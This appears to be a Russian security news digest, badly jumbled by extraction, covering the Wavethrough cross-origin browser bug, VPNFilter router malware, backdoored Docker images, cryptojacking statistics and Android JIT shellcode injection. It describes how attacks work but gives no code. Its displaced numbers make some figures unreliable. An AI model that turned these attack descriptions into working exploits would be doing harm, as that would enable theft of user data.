ОС НОВАТЕЛЬ КРИП ТОВАЛЮ ТЫ TRON ПРИ ОБРЕЛ КОМ ‐
ПАНИЮ BITTORRENT ЗА   ДОЛ ЛАРОВ120 000 000
→Из вес тный блок чейн‐пред при нима тель и соз датель  крип товалю ты Tron Джас тин Сан  (Justin
Sun)  при обрел  ком панию BitTorrent,  Inc.,  раз рабаты вающую  популяр ней шие  кли енты  μTorrent
и BitTorrent.

Сдел ка была зак рыта в начале июня 2018 года. По неофи циаль ным дан ным, ее сто имость сос‐ 
тавила   дол ларов США (изна чаль но сооб щалось о  , но эту информа‐ 
цию опро верг быв ший гла ва BitTorrent Ашвин Навин).

120 000 000 140 000 000

Пред ста вите ли BitTorrent уже опуб ликова ли на сай те офи циаль ное заяв ление, сог ласно которо‐ 
му  ком пания  не  пла ниру ет  изме нять  свою  биз нес‐модель,  занимать ся  май нин гом,  а  тор‐ 
рент‐кли енты не ста нут плат ными и их раз работ ка будет про дол жена.

ШПИОНСКИЙ
WAVETHROUGH
Спе циалист  ком пании  Google  Джейк  Арчи бальд  (Jake  Archibald)  обна ружил
кри тичес кую уяз вимость, пред став ляющую угро зу для ряда сов ремен ных бра‐ 
узе ров.  Проб лема  получи ла  наз вание  Wavethrough  и  иден тифика тор  CVE‐
2018‐8235.  Исполь зуя  ее,  вре донос ные  сай ты  могут  похищать  информа цию
с  дру гих  ресур сов,  на  которых  поль зователь  залоги нен  в  том  же  бра узе ре.
Для выпол нения ата ки дос таточ но прос то встро ить в веб‐стра ницу вре донос‐ 
ный видео‐ или ауди офайл, исполь зуя соот ветс тву ющие HTML‐теги.

Ко рень проб лемы Wavethrough лежит в области исполь зования тех нологии
Cross‐origin  resource  sharing  (CORS,  «сов мес тное  исполь зование  ресур сов
меж ду раз ными источни ками»). CORS поз воля ет пре дос тавить веб‐стра нице
дос туп к ресур сам дру гого домена.

Ар чибальд  объ ясня ет,  что  исполь зование  вре донос ных  service  worker’ов
поз воля ет  под гру жать  муль тимедий ный  кон тент,  обоз начен ный  тегами 

  и  ,  из  уда лен ного  источни ка,  а  исполь зование  парамет ра
range  поз волит  заг рузить  лишь  какую‐то  кон крет ную  часть фай ла. Это  было
при дума но  для  удобс тва  заг рузки  боль ших  меди афай лов  или  для  слу чаев,
ког да ска чива ние фай ла оста нови ли, а затем про дол жили.

<video> <audio>

В  нор маль ных  обсто ятель ствах  подоб ное  поведе ние  пре сека ет  CORS.
Бра узе ры дав но зап реща ют сай там исполь зовать cross‐origin‐зап росы, обра‐ 
щен ные к дру гим доменам, без явно го на  то раз решения. Одна ко эти огра‐ 
ниче ния  не  рас простра няют ся  на меди акон тент,  раз мещен ный  в  уда лен ном
источни ке. То есть воз можно встро ить на сайт аудио‐ или виде офайл с дру‐ 
гого  домена. В  ито ге  при опре делен ных  усло виях  ата кующие могут  исполь‐ 
зовать  no‐cors‐зап росы,  которые  мно гие  сай ты  (вклю чая  Facebook,  Gmail
и BBC) про пус тят без проб лем.

«Это озна чает, что, если вы откро ете мой proof-of-concept сайт в бра- 
узе ре  Edge,  я  смо гу  про честь  ваши  пись ма  или  лен ту  Facebook
без  вашего  ведома,  —  объ ясня ет  эксперт.  —  Баг  появил ся,  ког да
в  бра узе рах  реали зова ли  импле мен тации  range-зап росов  для  меди- 
аэле мен тов, на которые не рас простра нял ся стан дарт. Эти range-зап- 
росы  ока зались  по‑нас тояще му  полез ны,  поэто му  бра узе ры  исполь- 
зовали их, копируя поведе ние друг дру га, но ник то так и не интегри- 
ровал это в стан дарт».

В  ито ге  ата ка  будет  выг лядеть  сле дующим  обра зом.  Зло умыш ленник  раз‐ 
меща ет  на  сво ем  сай те меди акон тент,  который при  про игры вании  заг ружа‐ 
ется  с  это го  сер вера  лишь  час тично.  Затем  сайт  про сит  бра узер  извлечь
оставшу юся  часть  фай ла  из  дру гого  источни ка,  при нуж дая  его  выпол нить
cross‐origin‐зап рос. Зап рос, который дол жен быть зап рещен, обра баты вает‐ 
ся, и ата кующий получа ет воз можность похитить поль зователь ские дан ные.

Пе ред  проб лемой Wavethrough  уяз вимы  не  все  бра узе ры,  толь ко  Mozilla
Firefox и Microsoft Edge. Chrome и Safari вне опас ности, и Арчи бальд полага ет,
что в Chrome проб лема Wavethrough была устра нена еще в 2015 году, по воле
слу чая.  Тог да  раз работ чики  исправ ляли  дру гую  ,  свя зан ную
с парамет ром range и муль тимедий ным кон тентом.

уяз вимость

В нас тоящее вре мя обновле ния выпуще ны для обо их уяз вимых бра узе ров.
При  этом Арчи баль ду  приш лось  пот рудить ся,  что бы  донес ти  всю опас ность
проб лемы  до  раз работ чиков Microsoft  Edge.  Под робно  об  этом  спе циалист

 в сво ем бло ге.рас ска зал
Proof‐of‐concept ата ки мож но уви деть  . Так же иссле дова тель соз дал

, на котором поль зовате ли уяз вимых вер сий Mozilla Firefox
и Microsoft Edge могут пос мотреть на демонс тра цию работы бага сво ими гла‐ 
зами.
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спе циаль ный сайт

ЮРИС ТЫ TELEGRAM ПОДАЛИ ВТО РУЮ ЖАЛОБУ
Юрис ты  пра воза щит ной  орга низа ции  «Аго ра»,  пред став ляющей  инте ресы  Telegram,  подали
вто рую жалобу в Евро пей ский суд по пра вам челове ка.

 

 

→ «В  резуль тате  огра ниче ния  дос тупа  к  Telegram,  воз можность  сво бод но  рас простра нять
и получать информа цию может потерять не толь ко Заяви тель [Telegram], но так же до 15 мил‐ 
лионов  поль зовате лей  могут  лишить ся  дос тупа  к  безопас ному  сер вису  интернет‐ком муника‐ 
ций,  а  так же  огромно му  архи ву  уни каль ной  информа ции,  которая  не  может  быть  получе на
из  дру гих  источни ков. За яви тель  под черки вает,  что  в  его  деле  рос сий ские  влас ти  даже
не пытались уста новить баланс меж ду необ ходимостью про тиво дей ствия  тер рориз му и обес‐ 
печения  общес твен ной  безопас ности  и  защитой  прав  граж дан  на  ува жение  час тной  жиз ни
и пра ва Заяви теля на рас простра нение информа ции»
— гла ва «Аго ры» Павел Чиков в сво ем Telegram‐канале

VPNFILTER СТАЛ
ОПАСНЕЕ
Вре донос  VPNFilter    в  мае  текуще го  года.  Слож ная  мал варь
зарази ла  как  минимум  пол милли она  роуте ров  Linksys,  MikroTik,  NETGEAR
и TP‐Link, а так же NAS про изводс тва QNAP в 54 стра нах мира. Иссле дова тели
Cisco Talos, пер выми рас ска зав шие о мал вари, под черки вали, что VPNFilter —
это  все го  вто рая  извес тная  IoT‐угро за,  спо соб ная  «пережить»  перезаг рузку
заражен ного  устрой ства  (пер вой  недав но  стал  вре донос  Hide  and  Seek),
к тому же таящая в себе дес трук тивную фун кци ональ ность.

был  обна ружен

Эк спер ты Cisco Talos пред ста вили обновлен ный отчет о бот нете VPNFilter.
Ока залось, что мал варь пред став ляет опас ность для боль шего чис ла устрой‐ 
ств,  чем  пред полага лось  изна чаль но.  К  тому  же  иссле дова тели  выяви ли
новые вре донос ные пла гины для VPNFilter.

Еще  в  мае  ана лити ки  Cisco  Talos  называ ли  VPNFilter  одной  из  наибо лее
ком плексных  IoT‐угроз, с какими им при ходи лось стал кивать ся. Так, зараже‐ 
ние делит ся на три ста дии и, по сути, сос тоит из трех раз ных ботов. Бот пер‐ 
вой  ста дии  прост  и  лег ковесен,  но  он  уме ет  «пережи вать»  перезаг рузку
устрой ства.  Бот  вто рой  ста дии  несет  в  себе  опас ную  фун кцию  само унич‐ 
тожения,  пос ле  акти вации  которой  заражен ное  устрой ство  прев раща ется
в «кир пич», намерен но пов режда ясь мал варью. В свою оче редь, третья фаза
ата ки  под разуме вает  заг рузку  на  заражен ное  устрой ство  вре донос ных  пла‐ 
гинов.

Те перь ИБ‐экспер ты сооб щили, что даже недо оце нили всю сте пень опас‐ 
ности.  Если  изна чаль но  счи талось,  что  мал варь  пред став ляет  угро зу
для  устрой ств  Linksys,  MikroTik,  NETGEAR,  TP‐Link  и  QNAP,  то  теперь  выяс‐ 
нилось,  что  к  это му  спис ку  нуж но добавить роуте ры про изводс тва ASUS, D‐
Link, Huawei, Ubiquiti, UPVEL и ZTE.

В  ито ге  перечень  уяз вимых  перед  VPNFilter  устрой ств  рас ширил ся
с 16 моделей до 71, при чем на деле их может ока зать ся еще боль ше. По дан‐ 
ным экспер тов, опе рато ры VPNFilter не исполь зуют для зараже ния устрой ств
какие‐либо 0day‐уяз вимос ти, а экс плу ати руют раз личные извес тные баги.

Кро ме  того,  в Cisco Talos  сумели обна ружить еще два  вре донос ных пла‐ 
гина, исполь зующих ся во вре мя треть ей фазы зараже ния. Ранее иссле дова‐ 
тели  уже  находи ли  пла гины,  задача  которых  зак люча ется  в  сниф финге
сетево го  тра фика  и  перех вате  пакетов,  монито рин ге  про токо лов  Modbus
SCADA, а так же вза имо дей ствии с управля ющим сер вером пос редс твом Tor.

Те перь  спи сок  попол нился  пла гином  ssler,  пред назна чен ным  для  перех‐ 
вата  и  модифи кации  тра фика,  про ходя щего  через  80‐й  порт  (пос редс твом
атак  man‐in‐the‐middle).  Так же  это  решение  спо соб но  выпол нить  ата ку
SSLStrip и понизить соеди нение с HTTPS до HTTP. Еще один пла гин, dstr, соз‐ 
дан для перепи си фай лов про шив ки заражен ного устрой ства. В пер вом отче‐ 
те  спе циалис ты  сооб щали,  что  VPNFilter  спо собен  унич тожить  про шив ку
заражен ной  машины,  а  теперь  они  обна ружи ли,  что  для  этой фун кци ональ‐ 
нос ти пред назна чает ся dstr.

Еще при пер вичном ана лизе, в мае 2018 года, было обна руже но сходс тво
VPNFilter  с  вре доно сом BlackEnergy. Счи тает ся,  что  тот  был  соз дан  груп пой
пред положи тель но  рос сий ских  пра витель ствен ных  хакеров  APT28,  так же
извес тной под наз вани ями Fancy Bear, Pawn Storm, Strontium, Sofacy, Sednit,
Tsar Team, X‐agent, Sednit и дру гими.

Пос ле того как спе циалис ты пред положи ли, что име ют дело с пра витель‐ 
ствен ными  хакера ми,  пред ста вите ли  ФБР  забили  тре вогу  и  опе ратив но
перех ватили  управле ние  над  управля ющим  сер вером  зло умыш ленни ков,
при менив  тех нику  син кхо ла  (sinkhole)  к  домену  toknowall.com.  Пос ле  это го
ФБР и про изво дите ли уяз вимых устрой ств   под робные инс трук‐ 
ции для вла дель цев уяз вимых устрой ств, рас ска зав, какие шаги нуж но пред‐ 
при нять для защиты от VPNFilter. Напом ню, что прос той перезаг рузки устрой‐ 
ства  недос таточ но,  что бы  изба вить ся  от  бота  пер вой  ста дии  зараже ния.
В зависи мос ти от модели устрой ства может понадо бить ся сброс к завод ским
нас трой кам и переп рошив ка гад жета.

опуб ликова ли

К  сожале нию,  эти  дей ствия  не  оста нови ли  опе рато ров  бот нета,  как  того
и опа сались ИБ‐спе циалис ты.  , что VPNFilter активно заража ет
всё новые роуте ры на тер ритории Укра ины и пыта ется «вер нуть ся в строй».

Ста ло извес тно

Об новлен ный спи сок всех уяз вимых устрой ств мож но най ти  .здесь

 EMAIL‐АДРЕ СОВ СЛУ ЧАЙ НО СЛИЛ СПА МЕР ‐
СКИЙ БОТ НЕТ
43 000 000

→Ана лити ки ком пании Vertek Corporation обна ружи ли утеч ку   поч товых адре сов,
изу чая  недав ние  вре донос ные  кам пании  по  рас простра нению  тро яна  Trik,  который  заража ет
сво их жертв вымога телем GandCrab треть ей вер сии. Ока залось, что Trik и GandCrab заг ружа ют
свои  фай лы  с  одно го  и  того  же  сер вера.  Опе рато ры  мал вари  забыли  или  не  сумели  скон‐ 
фигури ровать  этот  сер вер  над лежащим  обра зом,  и  его  содер жимое  было  дос тупно  любому
жела юще му, если пря мо обра тить ся к дан ному IP.

43 000 000

Ис сле дова тели  наш ли  на  сер вере  прес тупни ков    тек сто вый  файл  (от  1.txt  до  2201.txt),
в каж дом из которых содер жалось при мер но   email‐адре сов.

2201
20 000

Про вер ка  под линнос ти  обна ружен ной  спа мер ской  базы  показа ла,  что 
из   адре сов уни каль ные и, веро ятнее все го, нас тоящие.

43  555  741
44 020 000
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STARTTLS
EVERYWHERE
Не ком мерчес кая  пра воза щит ная  орга низа ция  Фонд  элек трон ных  рубежей
(Electronic  Frontier  Foundation,  EFF)  запус тила  ини циати ву  STARTTLS  Every‐
where — сво еоб разный ана лог про екта Let’s Encrypt, учрежден ного EFF, Mozil‐
la и Cisco, но для обес печения безопас ности поч товых сер веров.

Хо тя  STARTTLS  никак  нель зя  наз вать  новым  (по  ста тис тике  Google,  он
исполь зует ся на 89% всех поч товых сер веров в интерне те), спе циалис ты EFF
с  сожале нием  кон ста тиру ют,  что  проб лемы  с  его  кон фигура цией  по‐преж‐ 
нему встре чают ся очень час то.

«Хотя мно гие поч товые сер веры работа ют со STARTTLS, боль шинс тво
по‑преж нему  не  осу щест вля ет  валида цию  сер тифика тов»,  —  пишут
спе циалис ты.

Это озна чает,  что  третья сто рона может вме шать ся в соеди нение двух поч‐ 
товых  сер веров  и  вос поль зовать ся  под ложным  сер тифика том,  выдав  себя
за  отпра вите ля  или  реципи ента,  ведь  боль шинс тво  сер веров  нес пособ но
убе дить ся в аутен тичнос ти сер тифика та. Хуже того, воз можно устро ить даун‐ 
грейд  защищен ного  канала  свя зи,  в  резуль тате  чего  все  сооб щения  будут
переда вать ся не в зашиф рован ном виде, а в фор мате прос того тек ста. Изна‐ 
чаль но эта фун кция была пре дус мотре на для слу чаев, ког да один из сер веров
не под держи вает STARTTLS, но в пос ледние  годы ее исполь зуют для  умыш‐ 
ленно го даун грей да защиты соеди нения с самыми раз ными целями, вклю чая
наб людение  за  поль зовате лями,  внед рение  рек ламы  и  мас совую  слеж ку
со сто роны влас тей.

Ини циати ва  STARTTLS  Everywhere  приз вана  раз решить  перечис ленные
проб лемы.

«STARTTLS  Everywhere  пре дос тавля ет  сис темным  адми нис тра торам
спе циаль ное  ПО,  которое  мож но  запус тить  на  поч товом  сер вере
для осу щест вле ния авто мати чес кой валида ции сер тифика тов про екта
Let’s  Encrypt.  Так же  дан ное ПО  поможет  нас тро ить  поч товый  сер вер
таким обра зом, что бы тот исполь зовал STARTTLS и пре дос тавлял дей- 
стви тель ные  сер тифика ты  дру гим  поч товым  сер верам.  Наконец,
STARTTLS  Everywhere  вклю чает  в  себя  пред варитель но  заг ружен ный
спи сок  поч товых  сер веров,  которые  обе щают  под дер жку  STARTTLS,
что  поможет  отсле живать  ата ки  на  даун грейд  соеди нения.  Ито говый
резуль тат  для  сети:  более  защищен ные  email’ы  и  мень ше  мас совой
слеж ки», — гла сит офи циаль ный сайт STARTTLS Everywhere.

Все под робнос ти о  том,  как  пра виль но  нас тро ить STARTTLS,  добавить  свой
ресурс  в  «пред варитель но  заг ружен ный  спи сок»  STARTTLS  Everywhere,
и отве ты на дру гие воп росы мож но най ти на   новой ини‐ 
циати вы.

офи циаль ном сай те

ОКО ЛО   MONERO ДОБЫТО С ПОМОЩЬЮ СКРЫ ТЫХ
МАЙ НЕРОВ

5%

→Спе циалис ты  Palo  Alto  Networks  опуб ликова ли  удру чающую  крип товалют ную  ста тис тику.
Иссле дова тели приш ли к выводу, что наибо лее популяр ной сре ди прес тупни ков крип товалю той
явля ется  Monero  и  из‐за  это го  око ло    от  обще го  чис ла  добытых  монет  были  получе ны
при помощи скры того май нин га.

5%

Спе циалис ты Palo Alto Networks обна ружи ли   образцов май нин говой мал вари, задей‐ 
ство ван ных в «боевых» опе раци ях. Бра узер ные май неры в рас чет не при нима ли.

629 126

 изу чен ных вре доно сов кон цен три руют ся на добыче крип товалю ты Monero.84%

По пуляр ность крип товалют сре ди прес тупни ков

Око ло    ежед невно го  хеш рей та  Monero  исхо дит  от  заражен ных  устрой ств.  Общая  вычис‐ 
литель ная мощ ность скры тых май неров Monero сос тавля ет  .

2%
19 MH/s

За пос ледний год прес тупные груп пы добыли   Monero с помощью раз нооб разной мал‐ 
вари. По текуще му кур су это экви вален тно   дол ларов США.

798 613
101 000 000

Сум марно на момент про веде ния иссле дова ния в обра щении находи лось   XMR. То
есть прес тупни ки добыли око ло   от обще го чис ла монет.

15 962 350
5%

В общей слож ности экспер ты обна ружи ли   адрес Monero, при над лежащий прес тупни кам,
и уста нови ли, что боль ше полови ны из них (  адре сов) никог да не видели сум мы боль ше,
чем   XMR (при мер но   дол лара США).

2341
1278

0,01 1,27

Лишь    кошель ков  зло умыш ленни ков  содер жали  более    XMR  (   дол ларов),
и толь ко   кошель ков содер жали   XMR (  дол ларов США)

99 1000 126  500
16 10 000 1 260 000

Рас пре деле ние средств на кошель ках май неров

ИГРЫ СЛЕДЯТ ЗА
ТОБОЙ
Поль зовате ли Reddit и Steam ули чили про изво дите лей игр в мас совой слеж‐ 
ке.  Воз мущение  комь юни ти  начало  набирать  обо роты  пос ле  пуб ликации
на  Reddit,  в  которой  рас ска зыва лось  о  том,  что  игра  «Holy  Potatoes!  We’re
in  Space?!»  исполь зует  ана лити чес кую  прог рамму RedShell,  соз данную  ком‐ 
пани ей Innervate, Inc. для сбо ра дан ных о поль зовате лях и фак тичес ки слеж ки
за ними.

RedShell встра ивает ся в игры в виде SDK и исполь зует ся для про веде ния
соци аль но‐мар кетин говых  кам паний.  Так,  RedShell  помога ет  раз работ чикам
понять, как имен но поль зовате ли выбира ют и покупа ют игры. К при меру, если
пос мотреть трей лер какой‐либо игры на YouTube, а затем перей ти по ссыл ке
из опи сания в Steam и купить ее, это го будет дос таточ но, что бы за компь юте‐ 
ром  зак репил ся  спе циаль ный  ID,  ассо циирующий  сис тему  с  кон крет ным  IP‐
адре сом,  раз решени ем  экра на,  уста нов ленны ми  шриф тами  и  так  далее.
Таким  обра зом,  бла года ря  RedShell  SDK  про изво дите ли  получа ют  дан ные
об источни ках покупок и уста новок.

Од нако поль зовате лям не пон равилось такое поведе ние. Дело в том, что
про изво дите ли  игр  край не  ред ко  пре дуп режда ют  о  наличии  таких  решений
в  сво их  про дук тах.  К  тому  же  поль зовате ли  ста ли  жаловать ся,  что  RedShell
соз дает иден тифика торы для каж дого челове ка, собирая информа цию об их
онлайн‐лич ностях и игро вых машинах.

В ито ге общи ми уси лиями комь юни ти были соз даны спе циаль ные спис ки,
в которых соб рана информа ция обо всех играх и про изво дите лях, при меня‐ 
ющих  подоб ные  шпи онские  прак тики.  Сто ит  заметить,  что  в  спис ки  попали
мно гие хорошо извес тные тай тлы, нап ример Civilization VI, Kerbal Space Pro‐
gram и Elder Scrolls Online.

Так же  выяс нилось,  что  в  некото рых  слу чаях  раз работ чики  вооб ще
не  информи рова ли  о  наличии  спор ного  SDK  в  сос таве  сво их  про дук тов.
Порой это мог ло быть пря мым наруше нием закона. К при меру, в 

 вооб ще не упо мина ется сбор дан ных пос редс твом RedShell.
Conan: Exile

EULA
Хо тя  раз работ чики  RedShell  утвер жда ют,  что  вся  соб ранная  ста тис тика

ано ним на,  вплоть  до  декаб ря  2017  года  некото рые  интегра ции  RedShell
собира ли дан ные об IP‐адре сах и сопос тавля ли их со Steam ID, а это го более
чем дос таточ но для деано ними зации поль зовате лей.

Те перь, ког да на про исхо дящее обра тили вни мание СМИ, а поль зовате ли
засыпа ют гнев ными воп росами офи циаль ные сай ты про изво дите лей, мно гие
ком пании решили пой ти на попят ную и отка зать ся от исполь зования RedShell.
В  час тнос ти,  о  таком  решении  уже  сооб щили  раз работ чики  «Total  War:
Warhammer 2» и «Conan: Exiles», пообе щав уда лить шпи онский SDK и под чер‐ 
кнув, что «это не спай варь».

 мож но най ти спи сок игр, в которых был обна ружен RedShell, а так же
спи сок про изво дите лей, уже заявив ших о том, что они ско ро перес танут сле‐ 
дить за игро ками.

Здесь

В ОФИ ЦИАЛЬ НОМ РЕЕС ТРЕ DOCKER HUB ОБНА РУЖЕ НЫ
КОН ТЕЙ НЕРЫ С БЭК ДОРАМИ

Эк спер ты ком пании Kromtech обна ружи ли в офи циаль ном реес тре Docker Hub сра зу 17 обра‐ 
зов кон тей неров, содер жавших бэк доры. Через них на сер веры поль зовате лей про ника ли май‐ 
неры и дру гая мал варь.

→«Для обыч ных поль зовате лей заг рузка обра за Docker из Docker Hub — это все рав но что заг‐ 
рузка  про изволь ных  бинар ных  дан ных  непонят но  отку да  с  их  пос леду ющим  выпол нени ем,
без какого‐либо понима ния, что там внут ри, но с надеж дой на луч шее»
— спе циалис ты Kromtech пре дуп режда ют поль зовате лей

GOOGLE
НАРАЩИВАЕТ
ЗАЩИТУ
Сра зу нес коль ко новов ведений, приз ванных улуч шить защиту раз личных про‐ 
дук тов Google, были анон сирова ны в этом месяце.

Нет вре донос ным рас ширени ям
Google пос тепен но отка жет ся от прак тики, поз воля ющей уста нав ливать рас‐ 
ширения для бра узе ра Chrome через сто рон ние сай ты.

Так  называ емая  inline‐уста нов ка  (она  же  встра иваемая  уста нов ка)  поз‐ 
воля ет раз работ чикам рас ширений не толь ко рас простра нять свои про дук ты
через офи циаль ный каталог Chrome Web Store, но и пред лагать поль зовате‐ 
лям  рас ширения  на  сто рон них  сай тах.  В  таком  слу чае  дос таточ но  нажать
на  спе циаль ную  кноп ку,  и  рас ширение  будет  уста нов лено  без  визита
в Chrome Web Store.

От казать ся от этой фун кци ональ нос ти решили из‐за того, что ее дав но взя ли
на  воору жение  зло умыш ленни ки.  Авто ры  раз личных  вре донос ных  рас‐ 
ширений поль зуют ся inline‐уста нов кой, так как в этом слу чае посети тель сай‐ 
та  не  видит  негатив ных  отзы вов,  пре дуп режде ний  от  дру гих  пос тра дав ших
и низ кого рей тин га вре донос ного рас ширения в Chrome Web Store.

«Мы про дол жаем получать огромное количес тво жалоб от поль зовате- 
лей,  которые  стол кну лись  с  неожи дан ным  изме нени ем  в  поведе нии
Chrome  пос ле  уста нов ки  нежела тель ного  рас ширения.  Боль шинс тво
таких жалоб свя заны с тем, что люди слу чай но или будучи намерен но
вве дены  в  заб лужде ние  исполь зовали  inline-уста нов ку  на  сай тах»,  —
пишут раз работ чики Google.

От каз  от  inline‐уста нов ки  будет  раз делен  на  три  эта па.  Пер вый  этап  уже
начал ся: с 12 июня 2018 года встра иваемая уста нов ка для новых рас ширений
зап рещена.  Для  них  попыт ка  исполь зовать  chrome.webstore.install()  теперь
окон чится откры тием стра ницы рас ширения в офи циаль ном катало ге. Вто рой
этап стар тует 12 сен тября 2018 года. Осенью inline‐уста нов ку зап ретят всем
сущес тву ющим  рас ширени ям  вооб ще.  И  наконец,  тре тий  этап:  в  декаб‐ 
ре  2018  года,  с  релизом Chrome  71,  метод  inline‐уста нов ки  исчезнет  из  API
окон чатель но.

Па роли для про шивок
Но вый защит ный механизм получат смар тфо ны Pixel 2. Новов ведение обес‐ 
печит  допол нитель ную  защиту  про тив  неав торизо ван ных  попыток  обно вить
или под менить про шив ку гад жета. По сути, это защита от инсай дер ских атак
и слу чаев, ког да у зло умыш ленни ка есть дос туп к самому устрой ству.

В  нас тоящее  вре мя  устрой ства  Pixel  и  так  мож но  наз вать  одни ми
из наибо лее защищен ных решений на рын ке. В час тнос ти, смар тфо ны Google
име ют  аппа рат ные  ком понен ты  для  хра нения  и  работы  с  клю чами  шиф‐ 
рования, которые при меня ются для шиф рования локаль ных поль зователь ских
дан ных. Кро ме того, это защищен ное железо исполь зует собс твен ный набор
защищен ных про шивок, занима ется валида цией пароля поль зовате ля, а так‐ 
же защища ет устрой ство от брут форс‐атак.

По мимо  перечис ленно го,  про шив ка  Pixel  защище на  и  механиз мом  под‐ 
писи кода, что бы ата кующий не имел воз можнос ти поп росту под менить про‐ 
шив ку, сумев таким обра зом обой ти защиту и рас шифро вать все дан ные.

Од нако  этих  мер  инже нерам  Google  показа лось  недос таточ но.  Теперь
смар тфо ны ком пании будут зап рашивать у поль зовате ля пароль при каж дой
попыт ке  заменить  или  модифи циро вать  про шив ку  устрой ства.  Таким  обра‐ 
зом, потен циаль ный ата кующий дол жен будет одновре мен но и ском про мети‐ 
ровать механизм под писи кода, и узнать спе циаль ный пароль поль зовате ля,
что пред став ляет ся край не малове роят ным.

Раз работ чики  Google  рекомен дуют  дру гим  про изво дите лям  мобиль ных
устрой ств  перенять  их  опыт  и  внед рить  похожие  защит ные  решения  в  свои
про дук ты.

Про вер ка при ложе ний в офлай не
Вско ре  дол жен  изме нить ся  и  механизм  про вер ки  при ложе ний  для  Android
на аутен тичность. В Google пла ниру ют модифи циро вать хедеры фай лов APK
таким обра зом, что бы сре ди метадан ных появи лось  ,содер жащее
крип тогра фичес кую  под пись.  Из‐за  это го  нез начитель но  уве личит ся  мак‐ 
сималь но допус тимый раз мер APK. Никаких дей ствий и обновле ния при ложе‐ 
ний со сто роны раз работ чиков не пот ребу ется, новое поле будет запол нять‐ 
ся Play Store авто мати чес ки.

но вое поле

В  нас тоящее  вре мя  уста новить  «одоб ренные»  Google  при ложе ния,  про‐ 
шед шие  все  над лежащие  про вер ки,  мож но  лишь  через  офи циаль ный  Play
Store, который в фоновом режиме перед уста нов кой убе дит ся в под линнос ти
и безопас ности про дук та. С добав лени ем нового поля в хедеры APK под пись
будет  содер жать ся  в  самом  фай ле,  что  поз волит  поль зовате лям  заг ружать
при ложе ния  из  Play  Store,  а  затем  рас простра нять  их  по  дру гим  каналам,
но не изме нять в про цес се.

В  бло ге  ком пании  Джей мс  Бен дер  (James  Bender),  про дакт‐менед жер
Google  Play  Store,  объ ясня ет,  что  дан ное  решение  про дик товано  желани ем
улуч шить  ком форт  и  безопас ность  поль зовате лей,  при  этом  дав  раз работ‐ 
чикам воз можность донес ти свои решения до более широкой ауди тории. Так,
новов ведение  дол жно  прий тись  по  душе  поль зовате лям  из  раз вива ющих ся
стран,  где рас простра нение при ложе ний пос редс твом P2P уже дав но ста ло
нор мой (в силу высокой сто имос ти тра фика или ряда дру гих огра ниче ний).

«В будущем мы смо жем опре делять аутен тичность при ложе ний даже
в  том слу чае,  если  устрой ство находит ся  в офлай не», — пишет Бен- 
дер.

Сто ит отме тить,  что спе циалис ты в области информа цион ной безопас ности
уже  вырази ли  сом нения  в  раци ональ нос ти  дан ного  шага.  Дело  в  том,  что
это новов ведение в теории может прод лить «срок жиз ни» вре донос ных при‐ 
ложе ний.  Так,  мал вари  будет  дос таточ но  попасть  в  Play  Store  хотя  бы
на корот кое вре мя, пос ле чего она будет фигури ровать в базах как легитим‐ 
ное  и  про верен ное  решение.  И  даже  пос ле  уда ления  вре доно са  из  офи‐ 
циаль ного катало га поль зовате ли, которые нечас то выходят в офлайн, могут
уста новить себе такую мал варь, взя тую из каких‐либо сто рон них источни ков,
но при этом сис тема будет уве рена, что при ложе ние аутен тичное и не пред‐ 
став ляет угро зы.

ОБО РОТЫ ПРЕС ТУПНИ КОВ, ЗАНИМА ЮЩИХ СЯ 
, ПРЕ ВЫСИ ЛИ   ДОЛ ЛАРОВКРИПТОВАЛЮТАМИ 1 МЛРД

→Спе циалис ты  ком пании  Carbon  Black  про вели  ана лиз  нелегаль ной  активнос ти,  свя зан ной
с  крип товалю тами.  Наибо лее  популяр ными  видами  нелегаль ной  деятель нос ти  за  пос ледние
пол года ока зались скры тый май нинг и его бра узер ная раз новид ность, крип тодже кинг, а так же
кра жа монет из кошель ков поль зовате лей.

Раз ные  крип товалют ные  вре доно сы  (более    пред ложений)  про дают ся  при мер но
на   тор говых пло щад ках дар кне та по цене от   до   дол ларов США.

34  000
12 000 1,04 1000

По дан ным Carbon Black,  общий объ ем нелегаль ных  крип товалют ных опе раций  за  пос ледние
шесть месяцев пре высил   дол ларов, тог да как общий объ ем тенево го рын ка в дар кне те
оце нива ется в   дол ларов.

1 млрд
6,7 млрд
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https://forums.funcom.com/t/why-are-conan-exiles-sending-data-to-redshell/5043/3
https://xakep.ru/2018/06/19/redshell-sdk/
https://source.android.com/security/apksigning/v2
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Се год ня  в  выпус ке:  выпол нение  shell‐кода  с  помощью  JIT‐
ком пилято ра,  рас сказ о  том,  куда  смар тфо ны  сли вают дан‐ 
ные,  десять  самых  популяр ных  воп росов  о  Kotlin,  рас сказ
о  WorkManager  и  Slices,  пред став ленных  на  Google  I/O,  и,
конеч но же, под борка све жих инс тру мен тов и биб лиотек.

ИНСТРУМЕНТЫ

 — осно ван ный на Frida инс тру мент для динами чес кого ана лиза при‐ 
ложе ний под Android. Поз воля ет быс тро сге нери ровать скрипт и внед рить
его в при ложе ние;

• House

 — модуль Node.js и ути лита коман дной стро ки для под писи
при ложе ний iOS (фай лов IPA);

• node‐applesign

 —  скрипт  для  извле чения  рас шифро ван ных  iOS‐при ложе‐ 
ний с устрой ства;

• frida‐ipa‐dump

  —  огромное  количес тво  докумен тов  и  книг,  пос вящен ных
безопас ности iOS.

• iOS  writeups

ПОЧИТАТЬ

Вы пол нение shell-кода с помощью JIT-ком пилято ра
 — пре зен тация,

пос вящен ная внед рению shell‐кода в Android путем экс плу ата ции уяз вимос ти
в  вир туаль ной  машине  Dalvik.  Как  мы  все  зна ем,  при ложе ния  для  Android
написа ны на Java (или Kotlin) и ском пилиро ваны в так называ емый байт‐код,
исполня ет  который,  в  отли чие  от  машин ных  инс трук ций,  не  про цес сор  нап‐ 
рямую, а вир туаль ная машина.

Back To The Future | Going Back In Time To Abuse Android’s JIT

В Android эта вир туаль ная машина изна чаль но носила имя Dalvik, но была
дос таточ но  мед литель ной  из‐за  того,  что  интер пре тиро вала  байт‐код  пос‐ 
ледова тель но.  С  выходом  вер сии  Android  2.1  раз работ чики  это  поп равили,
внед рив в Dalvik так называ емый JIT‐ком пилятор (в вер сии Android 5.0 он был
заменен на AOT‐ком пилятор, но в 7.0 вер нулся). Он тран сли рует в машин ные
инс трук ции целые кус ки байт‐кода, так что вир туаль ной машине не при ходит‐ 
ся делать это пос ледова тель но, рас ходуя дра гоцен ное вре мя.

Ока залось,  одна ко,  что  JIT‐ком пилятор  уяз вим  к  под мене  кода.  То  есть
ском пилиро ван ные  им  фраг менты  машин ных  инс трук ций  мож но  под менить,
